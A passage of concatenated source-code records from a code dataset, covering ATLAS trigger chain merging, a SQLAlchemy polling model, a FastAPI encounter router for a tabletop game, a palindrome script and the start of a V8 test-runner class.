chainName)\n for step in combinedChainDef.steps:\n log.debug('\\n %s', step)\n\n return combinedChainDef, perSig_lengthOfChainConfigs\n\n\ndef getEmptySeqName(stepName, step_number, alignGroup):\n #remove redundant instances of StepN\n if re.search('^Step[0-9]_',stepName):\n stepName = stepName[6:]\n elif re.search('^Step[0-9]{2}_', stepName):\n stepName = stepName[7:] \n\n seqName = 'Empty'+ alignGroup +'Seq'+str(step_number)+ '_'+ stepName\n return seqName\n\ndef EmptyMenuSequenceCfg(name):\n # to clean up\n if isCAMenu():\n return EmptyMenuSequenceCA(name)\n else:\n return EmptyMenuSequence(name)\n \n\ndef getEmptyMenuSequence(name):\n return EmptyMenuSequenceCfg(name)\n\n\ndef isFullScanRoI(inputL1Nav):\n fsRoIList = ['HLTNav_L1FSNOSEED','HLTNav_L1MET','HLTNav_L1J']\n if inputL1Nav in fsRoIList:\n return True\n else:\n return False\n\ndef noPrecedingStepsPreMerge(newsteps,chain_index,ileg):\n for step in newsteps:\n seq = step[chain_index].sequences[ileg]\n if type(seq).__name__ == 'EmptyMenuSequence':\n continue\n else:\n #if there's a non-empty sequence in a step before, there is clearly a\n #preceding step in this chain.\n return False\n return True\n\ndef noPrecedingStepsPostMerge(newsteps, ileg):\n for step in newsteps:\n seq = step.sequences[ileg]\n if type(seq).__name__ == 'EmptyMenuSequence':\n continue\n else:\n #if there's a non-empty sequence in a step before, there is clearly a\n #preceding step in this chain.\n return False\n return True\n \ndef getCurrentAG(chainStep):\n \n filled_seq_ag = []\n for iseq,seq in enumerate(chainStep.sequences):\n # In the case of dummy configs, they are all empty\n if type(seq).__name__ == 'EmptyMenuSequence':\n continue\n else:\n # get the alignment group of the leg that is running a non-empty sequence\n # if we double-serial merge enough this will have to be recursive. Throw an error here for now\n # if the length is greater than one. I don't think this will ever come up\n if len(set(cp['alignmentGroup'] for cp in chainStep.stepDicts[iseq]['chainParts'])) > 1:\n log.error(\"[getCurrentAG] The leg has more than one chainPart (%s). Either the alignmentGroup property is bad or this is an unimplemented situation.\",chainStep.stepDicts[iseq]['chainParts'])\n raise Exception(\"[getCurrentAG] Not sure what is happening here, but I don't know what to do.\")\n filled_seq_ag += [chainStep.stepDicts[iseq]['chainParts'][0]['alignmentGroup']]\n\n if len(filled_seq_ag) == 0:\n log.error(\"[getCurrentAG] No non-empty sequences were found in %s\", chainStep.sequences)\n log.error(\"[getCurrentAG] The chainstep is %s\", chainStep)\n raise Exception(\"[getCurrentAG] Cannot find the current alignment group for this chain\") \n elif len(set(filled_seq_ag)) > 1:\n log.error(\"[getCurrentAG] Found more than one alignment group for this step %s\", filled_seq_ag)\n raise Exception(\"[getCurrentAG] Cannot find the current alignment group for this chain\")\n else:\n return filled_seq_ag[0]\n\ndef serial_zip(allSteps, chainName, chainDefList, legOrdering):\n\n #note: allSteps and chainDefList do not have the legs in the same order\n #the legOrdering is a mapping between the two:\n # chainDefList[legOrdering[0]] <=> allSteps[0]\n\n legs_per_part = [len(chainDefList[stepPlacement].steps[0].multiplicity) for stepPlacement in legOrdering]\n n_parts = len(allSteps)\n log.debug('[serial_zip] configuring chain with %d parts with multiplicities %s', n_parts, legs_per_part)\n log.debug('[serial_zip] and leg ordering %s', legOrdering)\n newsteps = []\n\n #per-part (horizontal) iteration by alignment ordering\n #i.e. if we run muon then electron, allSteps[0] = muon steps, allSteps[1] = electron steps\n #leg ordering tells us where it was ordered in the chain name, so e_mu in this case would\n #have legOrdering = [1,0]\n for chain_index, (chainSteps, stepPlacement) in enumerate(zip(allSteps, legOrdering)): \n\n for step_index, step in enumerate(chainSteps): #serial step iteration\n if step_index == 0:\n prev_ag_step_index = step_index\n previousAG = getCurrentAG(step)\n log.debug('[serial_zip] chain_index: %s step_index: %s, alignment group: %s', chain_index, step_index, previousAG)\n # create list of correct length (chainSteps in parallel)\n stepList = [None]*n_parts\n\n # put the step from the current sub-chain into the right place\n stepList[stepPlacement] = step\n log.debug('[serial_zip] Put step: %s', step.name)\n\n # all other chain parts' steps should contain an empty sequence\n for chain_index2, (nLegs, stepPlacement2) in enumerate(zip(legs_per_part, legOrdering)): #more per-leg iteration\n emptyStep = stepList[stepPlacement2]\n if emptyStep is None:\n if chain_index2 == chain_index:\n log.error(\"chain_index2 = chain_index, but the stepList still has none!\")\n raise Exception(\"[serial_zip] duplicating existing leg, why has this happened??\")\n\n #this WILL NOT work for jets!\n step_mult = []\n emptyChainDicts = []\n if chain_index2 < chain_index:\n emptyChainDicts = allSteps[chain_index2][-1].stepDicts\n else:\n emptyChainDicts = allSteps[chain_index2][0].stepDicts\n\n log.debug(\"[serial_zip] nLegs: %s, len(emptyChainDicts): %s, len(L1decisions): %s\", nLegs, len(emptyChainDicts), len(chainDefList[stepPlacement2].L1decisions))\n sigNames = []\n for ileg,(emptyChainDict,_) in enumerate(zip(emptyChainDicts,chainDefList[stepPlacement2].L1decisions)):\n if isFullScanRoI(chainDefList[stepPlacement2].L1decisions[ileg]):\n sigNames +=[emptyChainDict['chainParts'][0]['signature']+'FS']\n else:\n sigNames +=[emptyChainDict['chainParts'][0]['signature']]\n\n seqMultName = '_'.join([sigName for sigName in sigNames])\n currentAG = ''\n \n #now we need to know what alignment group this step is in to properly name the empty sequence\n if len(set(chainDefList[stepPlacement].alignmentGroups)) == 1:\n currentAG = chainDefList[stepPlacement].alignmentGroups[0]\n ag_step_index = step_index+1\n else:\n # this happens if one of the bits to serial merge is already serial merged.\n currentAG = getCurrentAG(step)\n if currentAG == previousAG:\n ag_step_index = prev_ag_step_index + 1\n prev_ag_step_index = ag_step_index\n else:\n ag_step_index = 1\n previousAG = currentAG\n prev_ag_step_index = 1\n \n seqStepName = 'Empty' + currentAG +'Align'+str(ag_step_index)+'_'+seqMultName\n\n seqNames = [getEmptySeqName(emptyChainDicts[iSeq]['signature'], ag_step_index, currentAG) for iSeq in range(nLegs)]\n\n log.verbose(\"[serial_zip] step name for this leg: %s\", seqStepName)\n log.verbose(\"[serial_zip] created empty sequence(s): %s\", seqNames)\n log.verbose(\"[serial_zip] L1decisions %s \", chainDefList[stepPlacement2].L1decisions)\n \n emptySequences = build_empty_sequences(emptyChainDicts, step_mult, 'serial_zip', chainDefList[stepPlacement2].L1decisions, seqNames, chainName)\n\n stepList[stepPlacement2] = ChainStep( seqStepName, Sequences=emptySequences,\n multiplicity = step_mult, chainDicts=emptyChainDicts,\n isEmpty = True)\n\n newsteps.append(stepList)\n log.debug('After serial_zip')\n for s in newsteps:\n log.debug( ', '.join(map(str, [step.name for step in s]) ) )\n return newsteps\n\n\ndef mergeSerial(chainDefList, chainDefListOrdering):\n allSteps = []\n legOrdering = []\n nSteps = []\n chainName = ''\n l1Thresholds = []\n alignmentGroups = []\n log.debug('[mergeSerial] Merge chainDefList:')\n log.debug(chainDefList)\n log.debug('[mergeSerial] wth ordering %s:',chainDefListOrdering)\n \n for ic,cOrder in enumerate(chainDefListOrdering):\n\n #put these in order of alignment\n cConfig = chainDefList[chainDefListOrdering.index(ic)] \n leg_order = chainDefListOrdering.index(ic) #but keep track of where it came from\n \n if chainName == '':\n chainName = cConfig.name\n elif chainName != cConfig.name:\n log.error(\"[mergeSerial] Something is wrong with the combined chain name: cConfig.name = %s while chainName = %s\", cConfig.name, chainName)\n raise Exception(\"[mergeSerial] Cannot merge this chain, exiting.\")\n\n #allSteps is ordered such that the first entry in the list is what we want to *run* first \n allSteps.append(cConfig.steps)\n legOrdering.append(leg_order)\n nSteps.extend(cConfig.nSteps)\n l1Thresholds.extend(cConfig.vseeds)\n alignmentGroups.extend(cConfig.alignmentGroups)\n\n serialSteps = serial_zip(allSteps, chainName, chainDefList, legOrdering)\n combChainSteps =[]\n for chain_index in range(len(chainDefList)):\n log.debug('[mergeSerial] Chain object to merge (i.e. chainDef) %s', chainDefList[chain_index])\n for step_index, steps in enumerate(serialSteps):\n mySteps = list(steps)\n combStep = makeCombinedStep(mySteps, step_index+1, chainDefList)\n combChainSteps.append(combStep)\n \n combinedChainDef = Chain(chainName, ChainSteps=combChainSteps, L1Thresholds=l1Thresholds,\n nSteps = nSteps, alignmentGroups = alignmentGroups)\n\n log.debug(\"[mergeSerial] Serial merged chain %s with number of steps/leg %s with these steps:\", chainName, combinedChainDef.nSteps)\n for step in combinedChainDef.steps:\n log.debug(' %s', step)\n\n return combinedChainDef\n\ndef checkStepContent(parallel_steps):\n \"\"\"\n return True if any step contains a real Sequence\n \"\"\"\n for step in parallel_steps:\n if step is None:\n continue\n for seq in step.sequences:\n if type(seq).__name__ != 'EmptyMenuSequence':\n return True \n return False \n\ndef makeCombinedStep(parallel_steps, stepNumber, chainDefList, allSteps = [], currentChainSteps = [], leg_numbering = [], alignment_group = \"\"):\n stepName = 'merged' #we will renumber all steps after chains are aligned #Step' + str(stepNumber)\n stepSeq = []\n stepMult = []\n log.verbose(\"[makeCombinedStep] steps %s \", parallel_steps)\n stepDicts = []\n comboHypoTools = []\n comboHypo = None\n \n leg_counter = 0\n currentStepName = ''\n # if *all* the steps we're trying to merge are either empty sequences or empty steps\n # we need to create a single empty step instead. \n hasNonEmptyStep = checkStepContent(parallel_steps)\n \n if not hasNonEmptyStep:\n \n if len(parallel_steps)>=len(chainDefList) and all(step is None for step in parallel_steps[len(chainDefList):]):\n # We need to remove manually here the None steps exceeding the len of chainDefList. The right solution\n # would be to make sure that these cases don't happen upstream, but I am not confident enough with this\n # code to make such a large (and dangerous) change. But it would be nice to do that in future if possible..\n parallel_steps=parallel_steps[:len(chainDefList)]\n log.debug(\"[makeCombinedStep] removed empty steps exceeding chainDefList size. The new steps are now %s \", parallel_steps)\n\n for chain_index, step in enumerate(parallel_steps):\n # every step is empty but some might have empty sequences and some might not\n if step is None or len(step.sequences) == 0:\n\n new_stepDicts = deepcopy(chainDefList[chain_index].steps[-1].stepDicts)\n currentStepName = 'Empty' + chainDefList[chain_index].alignmentGroups[0]+'Align'+str(stepNumber)+'_'+new_stepDicts[0]['chainParts'][0]['multiplicity']+new_stepDicts[0]['signature']\n log.debug('[makeCombinedStep] step has no sequences, making empty step %s', currentStepName)\n\n # we need a chain dict here, use the one corresponding to this leg of the chain\n for new_stepDict in new_stepDicts:\n oldLegName = new_stepDict['chainName']\n if re.search('^leg[0-9]{3}_',oldLegName):\n oldLegName = oldLegName[7:]\n new_stepDict['chainName'] = legName(oldLegName,leg_counter)\n log.debug(\"[makeCombinedStep] stepDict naming old: %s, new: %s\", oldLegName, new_stepDict['chainName'])\n stepDicts.append(new_stepDict)\n leg_counter += 1\n\n else:\n # Standard step with empty sequence(s)\n currentStepName = step.name\n #remove redundant instances of StepN_ and merged_ (happens when merging already merged chains)\n \n if re.search('^Step[0-9]_',currentStepName):\n currentStepName = currentStepName[6:]\n elif re.search('^Step[0-9]{2}_', currentStepName):\n currentStepName = currentStepName[7:] \n if re.search('^merged_',currentStepName):\n currentStepName = currentStepName[7:]\n\n # update the chain dict list for the combined step with the chain dict from this step\n log.debug('[makeCombinedStep] adding step dictionaries %s',step.stepDicts)\n\n for new_stepDict in deepcopy(step.stepDicts):\n oldLegName = new_stepDict['chainName']\n if re.search('^leg[0-9]{3}_',oldLegName):\n oldLegName = oldLegName[7:]\n if len(leg_numbering) > 0:\n leg_counter = leg_numbering[chain_index]\n new_stepDict['chainName'] = legName(oldLegName,leg_counter)\n log.debug(\"[makeCombinedStep] stepDict naming old: %s, new: %s\", oldLegName, new_stepDict['chainName'])\n stepDicts.append(new_stepDict)\n leg_counter += 1\n\n stepName += '_' + currentStepName\n\n theChainStep = ChainStep(stepName, Sequences=[], multiplicity=[], chainDicts=stepDicts, comboHypoCfg=ComboHypoCfg) \n log.debug(\"[makeCombinedStep] Merged empty step: \\n %s\", theChainStep)\n return theChainStep\n\n for chain_index, step in enumerate(parallel_steps): #this is a horizontal merge!\n\n if step is None or (hasNonEmptyStep and len(step.sequences) == 0):\n # this happens for merging chains with different numbers of steps, we need to \"pad\" out with empty sequences to propogate the decisions\n # all other chain parts' steps should contain an empty sequence\n\n if chain_index+1 > len(chainDefList): \n chain_index-=chain_index\n \n if alignment_group == \"\":\n alignment_group = chainDefList[0].alignmentGroups[0]\n\n new_stepDict = deepcopy(chainDefList[chain_index].steps[-1].stepDicts[-1])\n seqName = getEmptySeqName(new_stepDict['signature'], stepNumber, alignment_group)\n\n if isFullScanRoI(chainDefList[chain_index].L1decisions[0]):\n stepSeq.append(getEmptyMenuSequence(seqName+\"FS\"))\n currentStepName = 'Empty' + alignment_group +'Align'+str(stepNumber)+'_'+new_stepDict['chainParts'][0]['multiplicity']+new_stepDict['signature']+'FS'\n else:\n stepSeq.append(getEmptyMenuSequence(seqName))\n currentStepName = 'Empty' + alignment_group +'Align'+str(stepNumber)+'_'+new_stepDict['chainParts'][0]['multiplicity']+new_stepDict['signature']\n\n log.debug(\"[makeCombinedStep] chain_index: %s, step name: %s, empty sequence name: %s\", chain_index, currentStepName, seqName)\n\n #stepNumber is indexed from 1, need the previous step indexed from 0, so do - 2\n prev_step_mult = -1\n if stepNumber > 1 and len(currentChainSteps[stepNumber-2].multiplicity) >0:\n prev_step_mult = int(currentChainSteps[stepNumber-2].multiplicity[chain_index])\n else:\n #get the step multiplicity from the step dict. This should be \n prev_step_mult = int(new_stepDict['chainParts'][0]['multiplicity'])\n stepMult.append(prev_step_mult)\n # we need a chain dict here, use the one corresponding to this leg of the chain\n oldLegName = new_stepDict['chainName']\n if re.search('^leg[0-9]{3}_',oldLegName):\n oldLegName = oldLegName[7:]\n new_stepDict['chainName'] = legName(oldLegName,leg_counter)\n stepDicts.append(new_stepDict)\n leg_counter += 1\n else:\n # Standard step, append it to the combined step\n log.debug(\"[makeCombinedStep] step %s, multiplicity = %s\", step.name, str(step.multiplicity))\n if len(step.sequences):\n log.debug(\"[makeCombinedStep] with sequences = %s\", ' '.join(map(str, [seq.name for seq in step.sequences])))\n\n # this function only works if the input chains are single-object chains (one menu seuqnce)\n if len(step.sequences) > 1:\n log.debug(\"[makeCombinedStep] combining in an already combined chain\")\n\n if ( comboHypo is None or\n (hasattr(step.comboHypoCfg, '__name__') and step.comboHypoCfg.__name__ != \"ComboHypoCfg\") ):\n comboHypo = step.comboHypoCfg\n currentStepName = step.name\n #remove redundant instances of StepN_ and merged_ (happens when merging already merged chains)\n if re.search('^Step[0-9]_',currentStepName):\n currentStepName = currentStepName[6:]\n elif re.search('^Step[0-9]{2}_', currentStepName):\n currentStepName = currentStepName[7:] \n if re.search('^merged_',currentStepName):\n currentStepName = currentStepName[7:]\n stepSeq.extend(step.sequences)\n # set the multiplicity of all the legs \n if len(step.multiplicity) == 0:\n stepMult.append(0)\n else:\n stepMult.extend(step.multiplicity)\n comboHypoTools.extend(step.comboToolConfs)\n # update the chain dict list for the combined step with the chain dict from this step\n log.debug('[makeCombinedStep] adding step dictionaries %s',step.stepDicts)\n log.debug('[makeCombinedStep] my leg_numbering is: %s, for chain_index %s',leg_numbering, chain_index) \n for new_stepDict in deepcopy(step.stepDicts):\n oldLegName = new_stepDict['chainName']\n if re.search('^leg[0-9]{3}_',oldLegName):\n oldLegName = oldLegName[7:]\n if len(leg_numbering) > 0:\n leg_counter = leg_numbering[chain_index]\n new_stepDict['chainName'] = legName(oldLegName,leg_counter)\n log.debug(\"[makeCombinedStep] stepDict naming old: %s, new: %s\", oldLegName, new_stepDict['chainName'])\n stepDicts.append(new_stepDict)\n leg_counter += 1\n\n\n # the step naming for combined chains needs to be revisted!!\n stepName += '_' + currentStepName\n log.debug('[makeCombinedStep] current step name %s',stepName)\n # for merged steps, we need to update the name to add the leg name\n \n comboHypoTools = list(set(comboHypoTools))\n theChainStep = ChainStep(stepName, Sequences=stepSeq, multiplicity=stepMult, chainDicts=stepDicts, comboHypoCfg=comboHypo, comboToolConfs=comboHypoTools) \n log.debug(\"[makeCombinedStep] Merged step: \\n %s\", theChainStep)\n \n \n return theChainStep\n\n# modified version of zip_longest('ABCD', 'xy', fillvalue='-') --> Ax By C- D-, which takes into account the multiplicity of the steps\ndef zip_longest_parallel(AllSteps, multiplicity, fillvalue=None):\n from itertools import repeat\n \n iterators = [iter(it) for it in AllSteps]\n inactives =set()\n if len(iterators)==0:\n return\n while True:\n values = []\n for i, it in enumerate(iterators): #Here we loop over the different chain parts\n try:\n value = next(it)\n except StopIteration:\n if i not in inactives:\n #We want to add the inactive iterator to the list of inactives iterators\n inactives.add(i)\n if len(inactives)>=len(iterators):\n #We want to exit the while True if we reached the end of all iterators.\n return\n iterators[i] = repeat(fillvalue, int(multiplicity[i]))\n value = fillvalue\n values.append(value)\n if int(multiplicity[i]) > 1 and value == fillvalue:\n for i in range(int(multiplicity[i]-1)):\n values.append(value) \n yield tuple(values)\n\n\ndef build_empty_sequences(emptyChainDicts, step_mult, caller, L1decisions, seqNames, chainName):\n emptySequences = []\n for ileg in range(len(L1decisions)): \n if isFullScanRoI(L1decisions[ileg]):\n log.debug(\"[%s] adding FS empty sequence\", caller)\n emptySequences += [getEmptyMenuSequence(seqNames[ileg]+\"FS\")]\n else:\n log.debug(\"[%s] adding non-FS empty sequence\", caller)\n emptySequences += [getEmptyMenuSequence(seqNames[ileg])]\n \n log.verbose(\"[%s] emptyChainDicts %s\", caller, emptyChainDicts)\n log.debug(\"[%s] %s has number of empty sequences %d and empty legs in stepDicts %d\",\n caller, chainName, len(emptySequences), len(emptyChainDicts))\n if len(emptySequences) != len(emptyChainDicts):\n log.error(\"[%s] %s has a different number of empty sequences/legs %d than stepDicts %d\",\n caller, chainName, len(emptySequences), len(emptyChainDicts))\n\n raise Exception(f\"[{caller}] Cannot create this chain step, exiting.\")\n\n for sd in emptyChainDicts:\n if sd['signature'] == 'Jet' or sd['signature'] == 'Bjet':\n step_mult += [1]\n elif len(sd['chainParts']) != 1:\n log.error(\"[%s] %s has chainParts has length != 1 within a leg! chain dictionary for this step: \\n %s\",\n caller, chainName, sd)\n raise Exception(f\"[{caller}] Cannot create this chain step, exiting.\")\n else:\n step_mult += [int(sd['chainParts'][0]['multiplicity'])]\n\n if len(emptySequences) != len(step_mult):\n log.error(\"[%s] %s has a different number of empty sequences/legs %d than multiplicities %d\",\n caller, chainName, len(emptySequences), len(step_mult))\n raise Exception(f\"[{caller}] Cannot create this chain step, exiting.\")\n\n log.verbose('[%s] step multiplicity %s',caller, step_mult)\n\n\n return emptySequences\n","repo_name":"Yusuf-Manjra/athena","sub_path":"Trigger/TriggerCommon/TriggerMenuMT/python/HLT/Config/Utility/ChainMerging.py","file_name":"ChainMerging.py","file_ext":"py","file_size_in_byte":36997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72659530433","text":"from ..database import Base\nfrom sqlalchemy import Column, Integer, Boolean, DateTime, Enum, ForeignKey, select, Date, String\nfrom ..static.enums import PollingTypeEnum\nfrom sqlalchemy.sql import func\nfrom .. import schemas\nfrom sqlalchemy.ext.asyncio import AsyncSession\nimport datetime\nimport random\nfrom typing import Any\nfrom ..utils import sa_objects_dicts_list\n\n\npolling_type_enum = Enum(\n\tPollingTypeEnum,\n\tname=\"celery_task_enum\",\n\tcreate_constraint=True,\n\tvalidate_strings=True\n) # enum type for DB\n\n\nclass Polling(Base):\n\t\"\"\"\n\tТаблица для создания и хранения опросов для пользователя.\n\n\tФормируются посредством BackgroundTasks (fastapi).\n\n\tДелать pydantic-форму не стал - не необходимо, избыточно.\n\t\"\"\"\n\t__tablename__ = \"polling\"\n\n\tid = Column(Integer, primary_key=True, index=True)\n\tcreated_at = Column(Date, server_default=func.current_date())\n\tpoll_type = Column(polling_type_enum)\n\tpolling_string_id = Column(Integer, ForeignKey(\"polling_strings.id\", onupdate=\"CASCADE\", ondelete=\"RESTRICT\"))\n\tuser_id = Column(Integer, ForeignKey(\"users.id\", ondelete=\"CASCADE\", onupdate=\"CASCADE\"))\n\tcompleted = Column(Boolean, default=False)\n\tcompleted_at = Column(DateTime(timezone=True), nullable=True, default=None, onupdate=func.now())\n\n\t@staticmethod\n\tasync def check_today_user_polls(user: schemas.User, db: AsyncSession) -> bool:\n\t\t\"\"\"\n\t\tПроверяет, сформирован ли уже опрос на текущий день для пользователя.\n\t\t\"\"\"\n\t\tquery = select(Polling).where(\n\t\t\t(Polling.user_id == user.id) &\n\t\t\t(Polling.created_at == datetime.date.today())\n\t\t)\n\t\tresult = await db.execute(query)\n\n\t\ttoday_polls = result.scalars().all()\n\n\t\tif not any(today_polls):\n\t\t\treturn False\n\t\treturn True\n\n\nclass PollingString(Base):\n\t\"\"\"\n\tНабор вопросов для пользователя в зависимости от типа опроса.\n\t\"\"\"\n\t__tablename__ = \"polling_strings\"\n\n\tid = Column(Integer, primary_key=True, index=True)\n\tpoll_type = Column(polling_type_enum)\n\ttext = Column(String)\n\n\t@staticmethod\n\tasync def get_random_poll_text_id(polling_type: PollingTypeEnum, db: AsyncSession) -> int:\n\t\t\"\"\"\n\t\tВозвращает случайный опрос по указанному типу опроса.\n\t\t\"\"\"\n\t\tquery = select(PollingString).where(\n\t\t\tPollingString.poll_type == polling_type\n\t\t)\n\t\tresult = await db.execute(query)\n\t\tstrings = result.scalars().all()\n\n\t\treturn random.choice(strings).id\n\n\t@staticmethod\n\tasync def get_polling_type_strings(polling_type: PollingTypeEnum, db: AsyncSession) -> list[dict[str, Any]]:\n\t\t\"\"\"\n\t\tВозвращает все возможные опросы с указанным типом.\n\t\t\"\"\"\n\t\tquery = select(PollingString).where(\n\t\t\tPollingString.poll_type == polling_type\n\t\t)\n\t\tresult = await db.execute(query)\n\t\tstrings = result.scalars().all()\n\n\t\tif any(strings):\n\t\t\treturn sa_objects_dicts_list(strings)\n","repo_name":"Dahaka1/eztask","sub_path":"app/models/polling.py","file_name":"polling.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12741286187","text":"from fastapi import APIRouter, Depends, status, HTTPException\nfrom sqlalchemy.orm import Session\nfrom typing import List\n\n# from schemas.character import ShowCharacter\nfrom schemas.encounter import (\n EncounterCreate,\n ShowEncounter,\n UpdateEncounter,\n ShowEncounterCharacter,\n ShowEncounterMonster,\n)\nfrom db.session import get_db\nfrom db.repository.character import retrieve_character\nfrom db.repository.monster import retrieve_monster\nfrom db.repository.encounter import (\n create_new_encounter,\n delete_encounter,\n list_characters,\n list_encounters,\n list_monsters,\n retrieve_encounter,\n sqlalchemy_obj_to_dict,\n update_encounter,\n)\n\nrouter = APIRouter()\n\n\n@router.post(\n \"/encounters\", response_model=ShowEncounter, status_code=status.HTTP_201_CREATED\n)\ndef create_an_encounter(encounter: EncounterCreate, db: Session = Depends(get_db)):\n encounter = create_new_encounter(encounter=encounter, db=db)\n return encounter\n\n\n@router.get(\n \"/encounters\", response_model=List[ShowEncounter], status_code=status.HTTP_200_OK\n)\ndef get_all_encounters(db: Session = Depends(get_db)):\n encounters = list_encounters(db=db)\n return encounters\n\n\n@router.get(\n \"/encounters/{id}\", response_model=ShowEncounter, status_code=status.HTTP_200_OK\n)\ndef get_an_encounter(id: int, db: Session = Depends(get_db)):\n encounter = retrieve_encounter(encounter_id=id, db=db)\n if not encounter:\n raise HTTPException(\n detail=f\"Encounter with id {id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n return encounter\n\n\n@router.put(\n \"/encounters/{id}\", response_model=ShowEncounter, status_code=status.HTTP_200_OK\n)\ndef update_an_encounter(\n id: int, encounter: UpdateEncounter, db: Session = Depends(get_db)\n):\n encounter = update_encounter(encounter_id=id, encounter=encounter, db=db)\n if not encounter:\n raise HTTPException(\n detail=f\"Encounter with id {id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n return encounter\n\n\n@router.delete(\n \"/encounters/{id}\", response_model=ShowEncounter, status_code=status.HTTP_200_OK\n)\ndef delete_an_encounter(id: int, db: Session = Depends(get_db)):\n encounter = delete_encounter(encounter_id=id, db=db)\n if not encounter:\n raise HTTPException(\n detail=f\"Encounter with id {id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n return encounter\n\n\n@router.get(\n \"/encounters/{id}/characters\",\n response_model=List[ShowEncounterCharacter],\n status_code=status.HTTP_200_OK,\n)\ndef get_characters_in_encounter(id: int, db: Session = Depends(get_db)):\n characters = list_characters(id, db)\n if not characters:\n raise HTTPException(\n detail=f\"No characters added to encounter id {id} yet\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n return characters\n\n\n@router.get(\n \"/encounters/{id}/monsters\",\n response_model=List[ShowEncounterMonster],\n status_code=status.HTTP_200_OK,\n)\ndef get_monsters_in_encounter(id: int, db: Session = Depends(get_db)):\n monsters = list_monsters(id, db)\n if not monsters:\n raise HTTPException(\n detail=f\"No monsters added to encounter id {id} yet\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n return monsters\n\n\n@router.post(\"/encounters/characters/{id}\", status_code=status.HTTP_201_CREATED)\ndef add_character_to_encounter(\n id: int, encounter_ids: List[int], db: Session = Depends(get_db)\n):\n character = retrieve_character(id=id, db=db)\n if not character:\n raise HTTPException(\n detail=f\"Character with id {id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n\n for encounter_id in encounter_ids:\n encounter = retrieve_encounter(encounter_id, db=db)\n if not encounter:\n raise HTTPException(\n detail=f\"Power with id {encounter_id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n\n character.encounters.append(encounter)\n\n db.commit()\n\n return character\n\n\n@router.delete(\"/encounters/characters/{id}\", status_code=status.HTTP_200_OK)\ndef remove_character_from_encounter(\n id: int, encounter_ids: List[int], db: Session = Depends(get_db)\n):\n character = retrieve_character(id=id, db=db)\n if not character:\n raise HTTPException(\n detail=f\"Character with id {id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n\n for encounter_id in encounter_ids:\n encounter = retrieve_encounter(encounter_id, db=db)\n if not encounter:\n raise HTTPException(\n detail=f\"Weapon with id {encounter_id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n\n if encounter in character.encounters:\n character.encounters.remove(encounter)\n\n db.commit()\n\n return character\n\n\n@router.post(\"/encounters/monsters/{id}\", status_code=status.HTTP_201_CREATED)\ndef add_monster_to_encounter(\n id: int, encounter_ids: List[int], db: Session = Depends(get_db)\n):\n monster = retrieve_monster(id=id, db=db)\n if not monster:\n raise HTTPException(\n detail=f\"Character with id {id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n\n for encounter_id in encounter_ids:\n encounter = retrieve_encounter(encounter_id, db=db)\n if not encounter:\n raise HTTPException(\n detail=f\"Power with id {encounter_id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n\n monster.encounters.append(encounter)\n\n db.commit()\n\n return monster\n\n\n@router.delete(\"/encounters/monsters/{id}\", status_code=status.HTTP_200_OK)\ndef remove_monster_from_encounter(\n id: int, encounter_ids: List[int], db: Session = Depends(get_db)\n):\n monster = retrieve_monster(id=id, db=db)\n if not monster:\n raise HTTPException(\n detail=f\"Character with id {id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n\n for encounter_id in encounter_ids:\n encounter = retrieve_encounter(encounter_id, db=db)\n if not encounter:\n raise HTTPException(\n detail=f\"Weapon with id {encounter_id} not found\",\n status_code=status.HTTP_404_NOT_FOUND,\n )\n\n if encounter in monster.encounters:\n monster.encounters.remove(encounter)\n\n db.commit()\n\n return monster\n\n\n# @router.get(\n# \"/encounters/{id}\", response_model=ShowEncounter, status_code=status.HTTP_200_OK\n# )\n# def get_an_encounter(id: int, db: Session = Depends(get_db)):\n# encounter = retrieve_encounter(id, db)\n# characters = [sqlalchemy_obj_to_dict(char) for char in list_characters(id, db)]\n# monsters = [sqlalchemy_obj_to_dict(monst) for monst in list_monsters(id, db)]\n\n# if not encounter or not characters or not monsters:\n# raise HTTPException(\n# detail=f\"No data found for encounter id {id}\",\n# status_code=status.HTTP_404_NOT_FOUND,\n# )\n\n# return {\n# \"id\": encounter.id,\n# \"name\": encounter.name,\n# \"notes\": encounter.notes,\n# \"characters\": characters,\n# \"monsters\": monsters,\n# }\n","repo_name":"jschmidt92/swade.io-older","sub_path":"api/apis/v1/route_encounter.py","file_name":"route_encounter.py","file_ext":"py","file_size_in_byte":7390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37938981486","text":"#!/usr/bin/python3\nfrom functools import reduce\n\nmax_var = 0\n\ndef is_palindrome(string):\n\tsize = len(string)\n\tif size == 1:\n\t return True\n\tarray = [(string[i], string[-i-1]) for i in range(int(len(string)/2))]\n\treturn reduce(lambda x,y: x and y, [x == y for x, y in array])\n\n\nfor i in range(100, 1000):\n for j in range(100, 1000):\n product = i * j\n str_product = str(product)\n if is_palindrome(str_product):\n if max_var < product:\n max_var = product\n print(f'{i} * {j} = {max_var}')\n\nprint(f\"largest palindrome is {max_var}\")\n","repo_name":"Wachira-G/alx-low_level_programming","sub_path":"0x17-doubly_linked_lists/3-digit-prod_palindrome.py","file_name":"3-digit-prod_palindrome.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7473789926","text":"from . import base\n\n\nSTANDARD_VARIANT = set([\"default\"])\n\n\nclass VariantProc(base.TestProcProducer):\n \"\"\"Processor creating variants.\n\n For each test it keeps generator that returns variant, flags and id suffix.\n It produces variants one at a time, so it's waiting for the result of one\n variant to create another variant of the same test.\n It maintains the order of the variants passed to the init.\n\n There are some cases when particular variant of the test is not valid. To\n ignore subtests like that, StatusFileFilterProc should be placed somewhere\n after the VariantProc.\n \"\"\"\n\n def __init__(self, variants):\n super(VariantProc, 